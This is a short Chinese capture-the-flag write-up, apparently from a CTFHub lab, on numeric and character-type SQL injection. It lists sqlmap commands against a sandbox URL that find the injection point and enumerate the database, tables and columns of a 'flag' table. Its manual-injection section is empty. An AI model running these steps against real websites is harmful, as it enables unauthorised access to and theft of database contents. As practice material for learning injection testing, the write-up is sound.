天天看點
傳回

SQL注入---數字型注入與字元型注入

文章目錄

  • ​​SQLMAP注入​​
  • ​​手動注入​​

SQLMAP注入

①判斷注入點

sqlmap.py -u “http://challenge-7fac72c17bef7f22.sandbox.ctfhub.com:10080/?id=1”

發現是一個注入點

SQL注入---數字型注入與字元型注入

②查詢資料庫

sqlmap.py -u “http://challenge-7fac72c17bef7f22.sandbox.ctfhub.com:10080/?id=1” --current-db

SQL注入---數字型注入與字元型注入

得到目前資料庫sqli

③查詢資料表(flag與news)

SQL注入---數字型注入與字元型注入

④查詢字段

sqlmap.py -u “http://challenge-7fac72c17bef7f22.sandbox.ctfhub.com:10080/?id=1” -D “sqli” -T “flag” --columns

SQL注入---數字型注入與字元型注入

手動注入

sql 資料庫SQL 導出資料
上一篇: ACM--steps--1.3.1--FatMouse' TradeFatMouse' Trade
下一篇: php中怎麼銷毀一個變量,php中用unset銷毀變量并釋放記憶體

繼續閱讀